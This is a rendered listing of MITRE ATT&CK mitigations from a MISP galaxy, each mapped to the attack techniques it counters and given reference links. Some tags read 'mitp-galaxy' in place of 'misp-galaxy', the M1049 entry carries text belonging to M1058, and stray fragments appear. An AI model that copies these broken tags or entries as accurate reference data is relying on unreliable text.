<td><a href="https://attack.mitre.org/mitigations/T1036">https://attack.mitre.org/mitigations/T1036</a></td>
</tr>
</tbody>
</table>

Execution Prevention - M1038

Block execution of code on a system through application control, and/or script blocking.

The tag is: misp-galaxy:mitre-course-of-action="Execution Prevention - M1038"

View relationships graph

Execution Prevention - M1038 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="MMC - T1218.014" with estimative-language:likelihood-probability="almost-certain"
Software Configuration - M1054

Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.

The tag is: misp-galaxy:mitre-course-of-action="Software Configuration - M1054"

View relationships graph

Software Configuration - M1054 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade Attack - T1562.010" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"

Table 6222. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1054">https://attack.mitre.org/mitigations/M1054</a></td>
</tr>
</tbody>
</table>

**Code Signing - M1045**

Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.

The tag is: misp-galaxy:mitre-course-of-action="Code Signing - M1045"

View relationships graph

Code Signing - M1045 has relationships with:
• mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"
Boot Integrity - M1046

Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.

The tag is: `misp-galaxy:mitre-course-of-action="Boot Integrity - M1046"`

View relationships graph

Boot Integrity - M1046 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Compromise Hardware Supply Chain - T1195.003"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495"` with estimative-language:likelihood-probability="almost-certain"
Scripting Mitigation - T1064

Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.

Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

The tag is: misp-galaxy:mitre-course-of-action="Scripting Mitigation - T1064"

Table 6225. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1064">https://attack.mitre.org/mitigations/T1064</a></td>
</tr>
</tbody>
</table>

Bootkit Mitigation - T1067

Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)

The tag is: misp-galaxy:mitre-course-of-action="Bootkit Mitigation - T1067"

Table 6226. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1067">https://attack.mitre.org/mitigations/T1067</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process">https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process</a></td>
</tr>
</tbody>
</table>

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are
methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: *misp-galaxy:mitre-course-of-action="PowerShell Mitigation - T1086"*

Table 6227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1086">https://attack.mitre.org/mitigations/T1086</a></td>
</tr>
</tbody>
</table>

**Timestomp Mitigation - T1099**

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Timestomp Mitigation - T1099"*

Table 6228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1099">https://attack.mitre.org/mitigations/T1099</a></td>
</tr>
</tbody>
</table>

**Regsvr32 Mitigation - T1117**

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: *misp-galaxy:mitre-course-of-action="Regsvr32 Mitigation - T1117"*

Table 6229. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
InstallUtil Mitigation - T1118

InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="InstallUtil Mitigation - T1118"

CMSTP Mitigation - T1191

CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)

The tag is: misp-galaxy:mitre-course-of-action="CMSTP Mitigation - T1191"

Keychain Mitigation - T1142

The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.

The tag is: misp-galaxy:mitre-course-of-action="Keychain Mitigation - T1142"

Launchctl Mitigation - T1152

Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.
Source Mitigation - T1153

Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.

The tag is: `misp-galaxy:mitre-course-of-action="Source Mitigation - T1153"`

Trap Mitigation - T1154

Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.

The tag is: `misp-galaxy:mitre-course-of-action="Trap Mitigation - T1154"`

HISTCONTROL Mitigation - T1148

Prevent users from changing the `<code>HISTCONTROL</code>` environment variable (Citation: Securing bash history). Also, make sure that the `<code>HISTCONTROL</code>` environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.

The tag is: `misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation - T1148"`
Defacement Mitigation - T1491

Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

The tag is: misp-galaxy:mitre-course-of-action="Defacement Mitigation - T1491"

Table 6237. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1491">https://attack.mitre.org/mitigations/T1491</a></td>
</tr>
</tbody>
</table>

AppleScript Mitigation - T1155

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.

The tag is: misp-galaxy:mitre-course-of-action="AppleScript Mitigation - T1155"

Table 6238. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1155">https://attack.mitre.org/mitigations/T1155</a></td>
</tr>
</tbody>
</table>

Sudo Mitigation - T1169

The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: misp-galaxy:mitre-course-of-action="Sudo Mitigation - T1169"

Table 6239. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1169">https://attack.mitre.org/mitigations/T1169</a></td>
</tr>
</tbody>
</table>
Hooking Mitigation - T1179

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

The tag is: misp-galaxy:mitre-course-of-action="Hooking Mitigation - T1179"

Table 6240. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1179">https://attack.mitre.org/mitigations/T1179</a></td>
</tr>
</tbody>
</table>

Pre-compromise - M1056

This category is used for any applicable mitigation activities that apply to techniques occurring before an adversary gains Initial Access, such as Reconnaissance and Resource Development techniques.

The tag is: misp-galaxy:mitre-course-of-action="Pre-compromise - M1056"

View relationships graph

Pre-compromise - M1056 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Serverless - T1583.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Gather Victim Host Information - T1592" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1596.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="WHOIS - T1596.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="DNS/Passive DNS - T1596.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="DNS Server - T1583.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Identify Business Tempo - T1591.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Hardware - T1592.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1586.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Vulnerabilities - T1588.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Botnet - T1583.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Topology - T1590.004" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Network Trust Dependencies - T1590.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1584.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1586.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Compromise Accounts - T1586" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Botnet - T1584.005" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608" with estimative-language:likelihood-probability="almost-certain"
• mitigates: mitp-galaxy:mitre-attack-pattern="Link Target - T1608.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="CDNs - T1596.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Cloud Accounts - T1585.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Gather Victim Org Information - T1591" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Search Closed Sources - T1597" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Web Services - T1584.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Firmware - T1592.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Software - T1592.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Exploits - T1587.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Social Media - T1593.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Install Digital Certificate - T1608.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="DNS Server - T1584.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: mitp-galaxy:mitre-attack-pattern="Establish Accounts - T1585" with estimative-language:likelihood-probability="almost-certain"
Table 6241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1056">https://attack.mitre.org/mitigations/M1056</a></td>
</tr>
</tbody>
</table>

Antivirus/Antimalware - M1049

Use signatures or heuristics to detect malicious software.

The tag is: misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1049"

View relationships graph

Antivirus/Antimalware - M1049 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"
Mobile security products, such as Mobile Threat Defense (MTD), offer various device-based mitigations against certain behaviors.

**Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1049">https://attack.mitre.org/mitigations/M1049</a></td>
</tr>
</tbody>
</table>

**Antivirus/Antimalware - M1058**

Mobile security products, such as Mobile Threat Defense (MTD), offer various device-based mitigations against certain behaviors.
The tag is: misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1058"

View relationships graph

Antivirus/Antimalware - M1058 has relationships with:


Table 6243. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1058">https://attack.mitre.org/mitigations/M1058</a></td>
</tr>
</tbody>
</table>

**Attestation - M1002**

Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.

The tag is: misp-galaxy:mitre-course-of-action="Attestation - M1002"

View relationships graph

Attestation - M1002 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1630" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1623" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1634.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="System Runtime API Hijacking - T1625.001" with estimative-language:likelihood-probability="almost-certain"

